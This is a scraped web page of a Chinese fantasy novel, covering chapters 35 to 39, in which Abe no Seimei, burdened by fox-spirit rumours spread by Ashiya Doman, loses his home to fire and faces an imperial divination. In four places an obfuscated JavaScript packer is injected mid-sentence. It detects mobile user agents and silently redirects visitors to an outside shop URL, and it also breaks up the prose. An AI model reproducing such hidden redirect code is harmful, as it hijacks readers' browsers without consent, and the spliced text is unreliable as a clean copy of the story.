贺茂忠行这话没有夸大其词,目前涌现出来的恶鬼都被困在他们的结界中,而他们的身体都已被阴气侵蚀受创,一旦结界破除,受害的首当其冲自然就是他们。 卢屋道满总归还是惜命的,他也明白撤除结界的危险性,当即不敢再动,不过口中依旧发狠:“贺茂忠行,今天的事我记住了,如果你执意与我为敌的话,那今后就不要怪我了!” “我等着。”贺茂忠行轻笑一声。 这会儿晴明已经走到了法阵中,低头俯视着痛苦挣扎着的桥姬,他垂下了尾巴,似乎有几分不忍。 这个法阵完全是依靠祭品的力量来运作,换言之,只要没了祭品,法阵就会失去它的效用。 最便捷的方法当然是杀死桥姬,但是这种事情…… “寺明?贺茂寺明?” 晴明的模样已经和之前大不一样,但桥姬依然认出了他。 “我求求你,杀了我吧。”身体一点点被蚕食的痛苦足以折断任何一个人的傲骨,桥姬——一贯强势骄傲的女人,竟然趴伏在地,祈求晴明杀死她。 “我……”白狐张了张嘴,欲言又止。 最后,他只说出来一句:“晴明,安倍晴明,这是我的名字。” 说完这话,晴明张大了嘴巴,喷吐出一团幽蓝色的狐火,火苗包裹住了桥姬的身体。 “安倍晴明吗?我记住了。”桥姬在火焰中蜷缩起身体,眉眼弯了弯,像是在笑。 她说:“谢谢你,晴明。” 桥姬消失了,而法阵终于停止了运作,附近的阴气不再继续变浓了。 白狐轻轻叹了口气,随后他转过身,面对着卢屋道满。 “你想做什么?为你父亲报仇吗?”卢屋道满此时仍然不敢撤去结界,因为那些已经来到了阳世的恶鬼仍在,并不会因为法阵失效而消失。 “晴明!不要杀人!”贺茂忠行捉摸不透晴明的想法,他也只能猜测晴明或许是想要复仇。 不过,一命还一命的方式绝对不是复仇最合适的手段,贺茂忠行最不想看到的就是晴明和卢屋道满一样,沦落成一个不择手段的杀人凶手。 白狐偏过头看了贺茂忠行一眼,然后朝卢屋道满伸出了爪子—— 却只是拿走了他身上的鬼骨。 白狐拿了鬼骨,后退一步,重新化作人形。 不过由于身体虚弱的缘故,他虽然成功恢复了人身,但狐耳和尾巴都未能收回,依然暴露在外。 “我不会杀你的,卢屋道满。”晴明安安静静地说:“你就是一个疯子,所以我会想办法,在世人面前揭露你的真面目。” “我不会让你带着名誉去死的。”晴明说完这话便跪坐在了戾桥中心,将鬼骨放置在戾桥上,口中念起了晦涩难懂的咒文。 鬼骨光滑的表面逐渐闪烁起了荧光,一点一点照亮了四周,它是这片无边无际的黑暗之中,唯一的磷火。 “请你们,重新归于沉寂。” 阴界里的恶鬼在鬼骨和晴明的咒术之下,渐渐安静下来,一同化作星星光点,汇入鬼骨之中。 “贺茂师傅。”晴明拾起鬼骨,站起身来,遥遥朝贺茂忠行摊开了手掌:“请您帮我把它封印在这座戾桥下吧,这不是该存在于阳世的东西。” 贺茂忠行微微一笑,朝晴明点了点头,撤去了结界,接过晴明手中的鬼骨。 当贺茂忠行封印鬼骨的时候,卢屋道满一直死死地盯着这边,不过他也没有再做什么多余的事情,这会儿他没了鬼骨,根本不是贺茂忠行他们的对手。 他还是很懂审时度势的。 “安倍晴明!”当封印完成的时候,卢屋道满压着嗓子喊出了晴明的名字,他胸口因暴怒而剧烈起伏着。 半生的心血,一下子被毁坏殆尽,这样的结果任谁也无法承受。 晴明抬眸看向了卢屋道满,某一个瞬间,晴明的表情竟与樱有几分相似。 一样冷淡无情。 “卢屋道满。”晴明冷冷地回应。 “我原本还想遵守与你父亲的约定,如今我再问你一次,你真的要做这样的选择?” “当然。”晴明淡淡地,把绑缚伤口的布料重新裹了裹。 “你可不要后悔!”卢屋道满狠厉得就像一只恶鬼。 “我不会输给你的。”晴明冷淡地转回了头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650778|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有你,贺茂忠行!”卢屋道满完全陷入了疯狂:“你给我等着,我一定会毁了你的!” 贺茂忠行微微皱起了眉头,他直觉有些不妙。 但是卢屋道满已经转身离去了。 “我们也回去吧。”贺茂忠行叹息着说:“忙了这一夜,天都要亮了。” 天空泛起了鱼肚白色,天亮了。 有起得早些的人家出门倒水,他们只会觉得今天早上似乎格外阴冷而已。 没有人知道,就在昨夜,有三位阴阳师替他们阻止了一场浩劫。 大部分的阴气都聚集在戾桥附近,而戾桥距离平安京较远,附近少有人家,再加之大部分的阴气都被晴明和妖鬼们吸收,余下的一点点阴气已经对普通人造不成什么影响了。 这场劫难算是平安渡过,但卢屋道满临走前留下的话却总让贺茂忠行感到不安。 卢屋道满此人行事风格过于乖张,叫人很难揣测。 不过一连几天,卢屋道满都没有什么动静。 另一边,八百比丘尼又成了安倍宅的常客。 倒不是晴明请她来的,这尼姑很不见外,时常不请自来。 “晴明大人,不如我去叫那天那个女孩子来照顾您几天?”八百比丘尼抿着嘴笑。 晴明靠墙坐在房间里,脑袋上还盖着件衣服,他皱着眉头,不太高兴:“别开这样的玩笑,八百比丘尼。” “你还准备瞒她到什么时候?”八百比丘尼慢慢收敛起了笑意:“你瞒得住吗?” “凉子她害怕妖怪,能瞒多久是多久吧。”晴明隔着盖在头上的衣服摸了摸自己脑袋两侧,叹了口气,说:“不要让她知道我这个样子。” “你就这么反感你的身份吗?”八百比丘尼骤然起身,抽走了晴明盖在脑袋上的衣服,两只雪白的狐耳从晴明发间露了出来,由于忽然受到了惊吓,那两只耳朵上的毛都竖了起来。 晴明在戾桥吸入的阴气过多,导致他狐妖的血脉一下子增强了不少,甚至隐隐有了压过人类那一部分的趋势。 而最直接的证据,就是晴明暂时无法隐藏自己的狐耳和尾巴了。 “八百比丘尼!”晴明劈手夺回那件衣服,不过他的盛气凌人在八百比丘尼面前很快就消迩了。 “我不是反感我的身份,我是在害怕。”晴明重新坐了回去,不过没再盖上那件衣服。 “如果我的身份有一天被人发现,那该怎么办呢?” 36.白藏主 月尽夜的事情过后,晴明着实花了很长一段时间才逐渐摆脱了阴气的影响,而在这段时间里,一个“白藏主”的传说开始在平安京中广为流传。 这故事的起因,是一位贵族家中豢养的猎犬咬死了一位叫做“白藏主”的高僧,如果只是这样,倒也罢了。偏偏这位死去的白藏主尸体化作了一只身躯庞大的白狐。 随后,人们又找到了另一具人类的尸体,虽然尸体已经发生腐烂,面容无法辨认,不过凭借衣着和体态,这具尸体确系那位真正的高僧。 而据那些与高僧白藏主同住在庙宇中的僧人所说,白藏主此人平日里表现都十分正常,但近日却忽然之间性情大变,不仅举止发生了变化,就连面孔都开始变得越来越像是狐狸。 可以想象,此事必然是狐妖杀死了僧人,自己则变作僧人的模样生活,直到它被训练有素的猎犬嗅出气味。 一时间人心惶惶,大家都在猜测自己身边的人会不会某一天被妖怪调包。 流言越传越玄,到最后,这故事的版本就变成了:吃人的狐妖不仅吃掉了一位得道高僧,而且还变成那位高僧的模样,每天都要吃掉一个人,没过多久就把寺庙中的僧人连同信徒一起吃了个干净。 而且谁也不知道自己身边到底会不会出现披上人皮的吃人妖怪。 当人们恐慌到一定程度,他们便会开始无根据地推测,一时间,眼眸细长的、身材瘦削的,甚至皮肤较白的人,都被人们列入了被排斥之列。 而安倍晴明,因为面孔酷似白狐而落进了流言的中心。 人们甚至回想起了十五年前晴明母亲的忽然出现和忽然消失。 有人说,安倍晴明的母亲必然是个妖怪,不然的话,一个活生生的人怎么会突然凭空消失呢? 紧接着就有人说,如果安倍晴明的母亲是妖怪的话,那么安倍晴明必然也是同样的东西变成的,所谓的“天才阴阳师”实际上该称他作“妖怪阴阳师”才对。 这世上从来不缺少妄自揣测的人,他们根本不了解安倍晴明此人,却都在津津乐道,仿佛亲眼见过晴明露出狐狸尾巴似的。 事情发酵到这么大,贺茂忠行绝不相信这背后有人推波助澜。 联想到卢屋道满那天临走前所说的话,这位幕后推手究竟是谁也就不难猜了。 卢屋道满这一手做得堪称精彩,他把祸水全部引到晴明身上,而贺茂忠行和晴明的利益息息相关,他只要有办法证明晴明白狐之子的身份,接下来也就不愁没办法彻底扳倒贺茂忠行了。 而这整件事里,又根本找不出卢屋道满造谣中伤安倍晴明的证据。 不过……只要他们小心一些,晴明的身份也不是那么容易彻底暴露在人前的。 贺茂忠行检视着晴明初回平安京时,送给他的天狗的太刀和羽扇。 先前太忙了,这会儿闲下来,他想将这把刀和羽扇一起熔炼,重铸成一柄剑。 至于晴明那一边,他倒是没有太受到流言的影响,这样的事态是他向卢屋道满宣战的那天就已经料想到了的。 白狐之子的这个身份,太适合作为他的敌人攻击他的武器了。 人们对于妖怪,向来都是畏惧而又憎恶的。 多说多错,他也没有什么需要解释的。 来找他驱鬼的人渐渐少了,晴明也乐得清闲,终日里不是同凉子出游便是同八百比丘尼论道。 晴明与佛法此道涉猎有限,而且大部分都是八百比丘尼传授给他的,他们二人之间,倒有半师之份。 保宪来看过晴明几次,见晴明真的不在意这些流言才放下心来。 但是他们都低估了卢屋道满,或者说,是低估了卢屋道满陷入疯狂的程度。 那是个雨夜,雷雨交加。 晴明刚换了衣服准备睡下,他忽然闻到了焦糊的味道。 他冲出房间一看,庭院竟然莫名其妙地烧了起来,几个仆人手忙脚乱地灭火,但那火竟然无论如何都没办法扑灭。 晴明皱起了眉头,扑不灭的火?难道是…… 就在这个时候,又是一声炸雷响起。 一道闪电不偏不倚正劈到了晴明身边的花丛上,那簇花骤然烧了起来。 仆人们都看到了这一幕,他们惊恐地叫了起来。 因为最近的传言,他们已经提心吊胆很长一段时间了,生怕他们的主人有一天会现出妖怪原形来吞掉他们。 而今天的事,就成了压倒骆驼的最后一根稻草,他们心中的那根弦终于崩掉了。 连上天都降下了天雷,这不就是最好的证据吗? 安倍晴明就是个妖怪啊。 又是接连几道闪电,照亮了晴明苍白的脸,也引燃了新的火源。 仆人们丢下灭火的器具,一边惊叫着有妖怪,一边逃离了安倍宅,好像他们身后真的有什么怪物在追似的。 最后,只剩下晴明,呆立雨中。 熊熊火光烧红了整片天空。 三人成虎,流言可畏。 原来连从小看着他长大的仆人都不相信他。 所有人都认为他是个会吃人的妖怪。 他今日总算是明白了。 火越烧越旺,樱强行把晴明拖出了安倍宅,而晴明在自家的宅邸外站了一夜。 他看着他曾与父亲和明美一起住过的宅院在大火中化作断壁残垣。 什么都没有剩下。 父亲和明美都不在了,而如今,他连属于自己的家都没有了。 直到次日雨歇云收,雷火才渐渐熄灭了。 但是安倍宅早已化作了一片废墟。 卢屋道满! 晴明几乎把自己的嘴唇都咬出了血。 还有什么想不通的呢?像这样密集的雷火绝不可能是天然造成,而能够做到这种事并且又与他有过节的,只有卢屋道满一个人。 此举无非就是为了让所有人都相信,他安倍晴明就是一个让神明都震怒的妖怪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663716|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 既然这样的话…… 他不杀人岂不是愧对了这罪名? “樱!”晴明猛然抓住了樱的手腕,红着眼眶,像一头暴怒的狮子:“做我的刀,帮我杀一个人!” “请您吩咐,晴明大人。”樱恭谨地行了个礼。 不问缘由,只问姓名,她一直都只把自己当作主人的武器而已。 人们渐渐聚拢了过来,对着晴明和焚毁的安倍宅指指点点,不时传出“妖怪”、“狐妖”之类的言语。 晴明朝四周看去,人们接触到他的目光便纷纷避开,好像与他对视过就会死似的。 他还在其中找到了几张熟悉的面孔,都是曾经叫他帮忙祛除过妖鬼的。 晴明冷笑一声。 这就是人类啊,很是健忘,无论他为他们做过什么,都抵不过一句“他是妖怪。” 天亮了,却好像仍然昏暗一片。 恐怕永远不会再亮起来了。 “晴明!”保宪从人群当中冲出来,大口大口地喘着气。 他一大早就听说了这件事,他知道那座宅院对晴明意味着什么,因此立即赶了过来,甚至顾不上知会贺茂忠行一声。 “师兄,别管我了,我去杀了卢屋道满,不连累任何人。”晴明的脸冷若冰霜。 “胡闹!你想死吗?”保宪压低了声音斥责:“先不说杀人这件事本身怎样,你难道不知道,一旦失败会是什么样的后果?” “我和樱加起来,未必没有一战之力。”晴明冷冷地说:“而且我化作九尾狐的话,卢屋道满的式神不敢对我怎样。” “你!”保宪被晴明堵得说不出话来。 “都说我是杀人的妖怪,那我就杀个人给他们看!”晴明已被卢屋道满此举激起了火气,说话完全不计后果。 “晴明!”又有人来到了他们身边,不过这一次是凉子。 “晴明,没事吧?我听他们说……”凉子话说到一半便说不下去了,她看到了昔日的安倍宅已成了一片废墟。 面对着凉子,保宪和晴明说话不便,更不能提什么“妖怪”的话,晴明强笑道:“没事,你先回去吧,我想一个人静一静。” “晴明……”凉子仍不放心,想了想又道:“不如暂时住到我家里去吧?你帮过我父母,他们会很欢迎你的。” 凉子不说这话还好,一提这话,晴明脸色又阴沉了下来。 真的会欢迎吗?他们必然也都听说过“白狐之子”的传言,大概就连凉子也知道这回事,他们就不怕吗? “不必了,谢谢你。”保宪替晴明回绝了凉子,说:“我是他师兄,我带他回去就可以了。” “欸?是这样吗?”凉子看起来还想再说什么,不过她最后却只说:“那晴明就拜托您了。” “交给我吧。”保宪一边说,一边拽走了晴明。 他们从人群中穿过,所行之处,人们纷纷退避。 “师傅,我把晴明带回来了。” 37.咒杀 贺茂忠行见了保宪带晴明过来,也不惊讶,显然也早就听说了安倍宅被雷火烧毁的事。 “来帮我铸剑吧。”贺茂忠行说:“用你上次带来的羽扇和太刀,那上面附有灵力,想必一定能铸成柄不错的剑。” 贺茂忠行半个字也没提雷火的事,这反倒让晴明稍稍轻松了一点,如果贺茂忠行待他是怜悯的态度,那他才会更加无所适从。 保宪带他过来的这一路上,晴明已经冷静了许多,卢屋道满这样做就是在故意激怒他,如果他真的化作白狐跑去找卢屋道满麻烦的话,多半就中了卢屋道满的圈套。 到那个时候,晴明不仅仅会害死他自己,还会害惨了一直待他极好的贺茂父子。 对方是个极其狡诈阴险的家伙,是晴明平生所见过的最难缠的对手。 复仇的事情急不得,只能徐徐图之。 如今晴明在明处,而卢屋道满躲在暗处,局势对晴明极其不利,更何况现在抓不到任何有关于卢屋道满作恶的证据。 晴明只能等。 而好在天皇并未过问此事,像是没把“天才阴阳师原是妖怪”这种传言放在心上。 接下来的几天里,晴明一直住在贺茂宅,同保宪一起帮助贺茂忠行铸剑,偶尔凉子也会过来找他。 不过,不知道是不是晴明太过于敏感,他每次同凉子外出,都能感觉到一道似有似无的视线聚焦在他们身上。 或许是卢屋道满派了式神之类的东西来盯着他,晴明这样想着。 但是想到了这一点,晴明便不敢再去见凉子了,虽说卢屋道满的目标是他,但是难保卢屋道满不会对他身边的人下手。 从那之后,晴明便开始找各种借口避免同凉子会面。 当贺茂忠行铸剑将要完成的时候,一个衣着华丽的年轻人来到了贺茂宅,指名要见晴明,说是家中出现了鬼魅,想请晴明驱鬼。 自从安倍宅被雷火烧毁以来,这还是第一次有人来找晴明帮忙。 “想去就去吧,我这里也没有什么需要你做的了。”当晴明来询问贺茂忠行的意见时,贺茂忠行这样说:“出去散散心也好。” 这次来请他驱鬼的人年纪只比晴明稍大一些,不过身份显赫,是重臣之子。 晴明随那年轻人坐上了车子,那人一直好奇地用眼睛的余光打量着晴明,这让晴明感到很不舒服,不过他也没说什么。 车子行到半途,那年轻人似乎终于忍不住了。 “我听说你是妖怪之子,是真的吗?”年轻人好像完全不惧怕晴明,倒是隐隐的有些兴奋。 “……” 晴明没答,不过这丝毫影响不了那年轻人的情绪,他继续追问道:“你母亲是什么东西变的?是狐狸?是狸猫?还是别的什么?” “我不知道。”晴明的心情极差,冷冷地答道。 年轻人啧了一声,不再问了。 车子在一座宏伟的宅院前停了下来,晴明下了车,打算依照他的习惯在宅院四周看看,可那个年轻人根本不管晴明想做什么,硬拉着晴明进了宅子。 进了大门,入目便是一片修葺整齐的花圃,侧面是一座秀气的小亭,十多个年纪相仿的年轻人三三两两聚在一起,饮酒喝茶,吹牛打诨,热闹至极。 哪里像是个有妖鬼作祟的样子! 晴明的脸色已经很不好看,而带他来的那个人却又非要拽他过去,还高声宣布:“你们瞧!那个‘妖怪之子’被我给带来了!刚才谁说我会被他吃了来着?” 十数双眼睛齐齐朝这边看过来,晴明眉头紧紧皱了起来,他很不喜欢这种态度。 年轻人起着哄,把其中一个人推了出来:“就是他!他说的!愿赌服输,罚酒罚酒!” 那人被一口气灌了十几杯酒,昏昏沉沉地坐到了地上。 “嘿!你别说,长得还真像狐狸!”几个人围过来,对晴明评头论足。 “不会真是,那个什么来着?白狐之子?” “呦,这可说不准,说不定一会儿就张嘴把你给吃了。”有人模仿着狐狸的尖牙利爪,朝他的朋友扑过去:“就像这样,一口就能咬死你。” 晴明眉头紧锁,转身想走,却被那几个人七手八脚地揪了回来:“别走啊,我们这儿可很少邀请外人来玩,这可是难得的机会,你知道我们是谁吗?” 这些人一个个都是身份显赫的贵族之子,他们父亲手中握有的权利和藤原兼家比起来也不遑多让。 晴明冷着脸,被迫坐在那些吆五喝六的年轻人中间,供他们取笑作乐。 不过因为晴明不肯回应,那些人很快就感到索然无味,于是又把另一个少年推了出来。 “源君!来支曲子吧!” “你可是我们的雅乐之神呢!吹笛给我们听吧!” 被推出来的少年看起来年纪比晴明小些,脸孔微微有些红,他取出藏在怀里的笛子,朝他的朋友们鞠了一躬,随后把笛子举到唇边,吹奏了起来。 晴明起初对这支曲子并没有什么兴趣,音乐须得内心沉静之人方能演绎,否则便是糟蹋了“雅乐”二字。 而和这些人厮混的家伙,想来性情也不会沉静到哪里去。 不过当笛声响起的时候,晴明的心神便不知不觉地被吸引了去,那笛音悠扬,清澈干净,虽说还有些生涩,但也别有一番味道。 晴明不由自主地坐直了。 少顷,一曲终了,而晴明竟然意犹未尽。 吹笛的少年把笛子珍惜地揣回怀里,又朝着众人鞠了一躬。 年轻人们杂乱不齐地喝起彩来。 没过多久,又有人把话题引到了晴明身上:“听说阴阳师可以用阴阳术于千里之外取人性命,你们说,这是真的吗?” 旁边的人嗤笑起来,说:“这里不是有个阴阳师吗?问问他不就知道了。” 于是他们又凑到了晴明面前。 “当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667754|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是做得到的。”晴明冷冷地说:“不过,如果不知道复活的方法,这可就成了罪孽了。” 就在这个时候,旁边池塘里的青蛙忽然聒噪地叫了几声。 “表演给我们看吧,不然我们可不信。”其中一个人指了指那只青蛙,嬉笑着:“就试试看杀死那只青蛙怎么样?” “姑且一试。”晴明冷着脸,随手摘了片叶子,抵在唇边低声念了几句谁也听不懂的咒语,然后松开了捏住叶片的手指。 叶子竟自己飞了起来,翩翩然盖在青蛙身上,而青蛙没动也没躲,好像那片叶子对它根本造不成任何影响一样。 少年们屏息等了一会儿都没见到那只青蛙死去,都大笑起来。 “我就说嘛,阴阳术根本就是骗……”话犹未完就被说话的人咽了回去,因为那只青蛙忽然之间像是被什么分量极重的东西压到了一般,被碾碎成了一滩烂肉。 而它身上压着的只有一片小小的叶子而已。 所有人都被这一幕镇住了,半晌说不出话来。 晴明冷笑一声,拂袖而起:“晴明来此只为驱鬼,若贵宅没有妖鬼作祟的话,晴明就此告辞。” 他冷冷地朝少年们一点头,转身便走。 出了宅院没走多远,晴明身后便响起了一个急促的脚步声,有人追了出来。 “什么事?”晴明回过头,见来者是先前吹笛的少年,语气便缓和了些。 “如果我的朋友让你感到不快,我替他们向你道歉。”少年很认真地朝晴明深深鞠了一躬,说:“他们没什么恶意,只是感到好奇而已。” “我可以问你的名字吗?”晴明没回应少年的道歉。 “我姓源,源博雅。”少年颇有些大大咧咧地直接把名字说了出来。 “源博雅……我记住了。”晴明若有所思,忽然又朝着源博雅一笑,故意摆出一副威胁的架势:“你这样轻易就把名字告诉给一个阴阳师,就不怕我利用你的名字下咒吗?” “欸!”源博雅一下子愣住了。 “开个玩笑而已。”晴明收敛起了笑意:“放心好了,我不会对人类下咒的。” 博雅挠了挠脑袋,似乎还想再说点什么,但他们身边不远处忽然响起了一个稍稍有些尖锐的声音。 “你是说真的吗?他,那个孩子就是白狐之子?”说话的人正一脸惊讶地朝晴明这边张望。 “喂!别嚷这么大声!”他的同伴压低了声音提醒道,同时很不自然地扭开头假装在看别处。 晴明嗤笑一声,扭头就走,然而他还没走出多远,脚步就顿住了。 这一次,他听见了那两个人刻意压低了的议论声。 自从那个月尽夜之后,晴明的听力就变得极其敏锐,就像一只真正的白狐。 那两个人说:“以前总能看见他和一个小姑娘混在一起,谁知道那小姑娘又是什么东西变的。” 晴明的脸色一下子变得十分难看。 38.祸不单行 那天从外面回来之后,晴明就把自己关在了房间里面。 他最不愿意看到的,就是凉子因他的事受牵连。 任何一个普通人大概都不会愿意与妖怪之类的东西打交道,就像他的父亲安倍益材一样。 他一直小心翼翼地保护着凉子,可是终究,凉子也因他而遭到了人们的猜疑。 他自己可以不在乎那些人的议论,可是涉及到凉子…… 大概只要他还和凉子在一起,那些恶意的声音便会永无止息地骚扰着他们。 像这种事情…… 大概是无解的吧。 他到底该怎么做才是对的,到底该怎样才能保护他身边的人呢? “晴明,有个尼姑过来找你,她说她叫八百比丘尼,是你的朋友。”保宪推开了晴明的房门。 “和她说我不在。”晴明头也不抬,他现在谁也不想见。 “可是,”保宪看了看他身边,一身黑色僧衣的八百比丘尼,叹气道:“她已经进来了。” “多谢你带我过来。”八百比丘尼朝保宪微微一躬身,道:“接下来让我单独和这孩子说吧。” 说完,八百比丘尼就进了晴明的屋子,而且很快回手关上了门。 “这,不太好吧?”保宪的这句话被关在了门外。 “你又来做什么?我是白狐之子,和我走得太近,你就不怕……” 八百比丘尼跪坐下来,打断了晴明的话,笑道:“我都活了八百年,还有什么好怕的?” “……”晴明不言语了,半晌方问:“你是不是……”也经历过这样的事? 明明自己什么都没有做,却被无数人当作是妖怪,避之唯恐不及。 这公平吗? 八百比丘尼深深叹了口气,说:“我早就说过,我们很相似,可我无论如何都不希望你去经历我所经历过的一切。” “但这是没有办法的事啊,即使现在你的身份不会暴露,但是等过了二十年、三十年,你的相貌不会随着年龄增长而老去,到那个时候,你依旧还要遭受这些,那么该怎么办呢?”八百比丘尼抚摸着自己年轻光洁的手背:“我想,除了避开人群,离群索居之外,也没有更好的办法了。” “真的没有办法……过正常人的生活了吗?”晴明低声问。 “正常?”八百比丘尼笑了一声:“是啊,对人类来说,我们就是‘异常’,是应该被驱逐出去的异类,无论我们做什么,都抵不过‘你是个与众不同的妖怪’这一件事。” “难道说八百比丘尼你……”晴明迟疑地问:“憎恨着人们吗?” “我不恨任何人,我只恨我自己,只有我自己是不该存活在这世上的,我是个永远不死的怪物啊。”八百比丘尼自嘲地笑了笑,又说:“我只是在陈述事实,我并不讨厌人类,否则的话,上次我就不会来找你占卜了。事实上,绝大多数时候,他们还是很有趣的。” “……”晴明默默不语。 “可是我,依然想见她。”晴明缓缓地说。 “那就去见啊。”出乎晴明的意料,八百比丘尼并不反对,她说:“总还要尝试一下的,我希望我是错的,或许你能找到更好的生活方式也说不定。” “我上次见她的时候,她似乎是想和你分担一些压力,你相信我,那个女孩子并不像你想象的那样柔弱,她不会被你吓走的。”八百比丘尼微微一笑:“把你的身份告诉她,让她自己来选择吧。” “我知道了。”晴明站起身,朝八百比丘尼深鞠一躬:“谢谢你,八百比丘尼。” “你我同病相怜,何必言谢。”八百比丘尼也紧跟着起身,悠悠长叹:“若我当年也能勇敢一些,把我的事都说给他们听的话,或许事情也会大不一样吧。” “也许你能做到我当年没能做到的事,晴明。” 晴明出了贺茂宅,快步朝凉子家的方向走去。 可他根本没见到凉子,凉子的父亲日野雄把他挡在了门外。 “别再来找我女儿了!你还嫌害得她不够吗?”日野雄好像完全忘记了晴明曾帮助他找回妻子的事,横眉立眼地朝晴明咆哮:“你知不知道就因为她和你混在一起,现在附近的人都说她什么?她被你害成这样,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678438|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来还要不要嫁人?” 嫁……嫁人? 晴明怔住了。 凉子要嫁给谁? 日野雄骂过晴明之后,重重地摔上了门。 而晴明愣在日野家门外,心中七上八下的。 他从没想过凉子有一天会嫁给别人。 他理所当然地以为两个人会一直在一起,却忘记了婚姻大事还是需要父母做主的。 想来凉子也是一样。 他们都太年轻,都只顾着当下,很少会想起未来。 晴明一直站到了日暮,最后也没能见到凉子,日野家的大门也再没对他敞开过。 晴明失魂落魄地回了贺茂家,除此之外,他还能做什么呢? 只是因为他“白狐之子”的身份而已,为什么他就一定要忍受这些? 当他终于回到贺茂宅的时候,贺茂忠行正坐在抱厦里等他,保宪随侍在贺茂忠行身边,两人的神色都十分凝重。 “贺茂师傅。”晴明朝贺茂忠行行了礼。 “晴明,我有一件事要告诉你。” “什么事?”晴明心里想着,大概不会有任何消息比凉子的事更严重了吧。 但是晴明错了,接下来贺茂忠行说出来的话,惊得晴明全身发冷。 “最近平安京里闹得人心惶惶,天皇也开始对这件事重视起来了。”贺茂忠行尽量字斟句酌。 “他似乎是想确认流言的真实性,从而使京中众人的恐慌平息下来。”贺茂忠行继续说:“他决定叫阴阳师对这件事进行占卜,而他指派的阴阳师……” “就是卢屋道满。”贺茂忠行深深叹了口气:“你我都知道,卢屋道满绝对不会放过你的,这事就交给我来处理。而你,在占卜结束之前不要轻易抛头露面,以免被人挑出错处。” “可是贺茂师傅,您打算怎么做?”晴明迟疑了一下,问:“占卜这种事……” “我自有办法,你不用问了。”贺茂忠行头疼地揉了揉眉心,说:“当初为我一点私心带你入阴阳道,如今便注定该有这一劫,像这样的事情,我早就做好了准备了。” 39.掷茭 占卜的日子逐渐临近,这会儿平安京的流言倒是平息了些,大家都在等待阴阳师给他们一个答案。 不过,晴明不用想也知道,卢屋道满的占卜最终会指向一个什么样的结果,而这个结果将会害死他,同样也会害死贺茂父子。 所以这些天,晴明越发地焦虑,他想再去找贺茂忠行谈谈这件事,但贺茂忠行只是自顾自地准备了许多符咒和朱砂等物,似乎是要举行什么仪式,而对卢屋道满占卜的事情只字不提。 最后,贺茂忠行被晴明缠得烦了,才正颜厉色地对晴明说:“我对你说过了,这件事交给我来解决,你什么都不用做,也不需要多问,无论我做什么都与你无关。” 无关吗? 晴明不是很理解贺茂忠行的话,怎么会与他无关呢? 不过这些话给晴明的感觉很不好,似乎要有什么事情即将脱离他们的掌控。 而晴明的直觉一向很准。 举行占卜的前一天晚上,晴明做了一个梦。 他梦见贺茂忠行浑身是血地倒在地上,保宪守在贺茂忠行身边,也是满面血污,保宪看他的眼神很陌生,好像在看一只怪物。 “都怪你!安倍晴明!如果不是你的话,事情不会变成这样!”保宪哑着嗓音冲他大吼大叫:“你这个白狐之子,你这个非人的怪物!” 白狐之子,非人的怪物。 连保宪都这样说他。 晴明恍恍惚惚,好像又看见了凉子,她穿着婚服,俏生生地站在他面前,问他好不好看。 可是一转眼,凉子又笑着说:“我要嫁给别人啦,晴明你要多保重。” 甚至晴明还在梦中再次见到了那几个贵族少年,他们一边恶意地大笑,一边称他作:“白狐公子”。 直到天色大亮,晴明才终于摆脱了混乱的梦境,他坐起来,浑身大汗淋漓,一时间竟然分不清自己究竟是处在梦境还是现实。 而这时,卢屋道满的占卜已经开始了。 天皇显然对这次占卜十分重视,除了卢屋道满之外,他还命令所有精于占卜的阴阳师在旁帮助卢屋道满解读占卜结果。 原本贺茂忠行也该到场的,但他托病不出,天皇也就随他去了。 卢屋道满手中握着两只茭杯,缓缓在天皇面前站定,当着无数重臣和贵族们的面,闭上眼睛默默向神明祷祝。 这是他一直等待着的机会。 也是他一早就算计好了的结果。 从一开始,他的目的就是这个,只有引起天皇的注意,他才能名正言顺地叫安倍晴明和贺茂忠行去死。 不过没能激怒晴明与他作对,这一点卢屋道满颇有些遗憾,没想到那个白狐之子年纪不大,倒很能沉得住气。 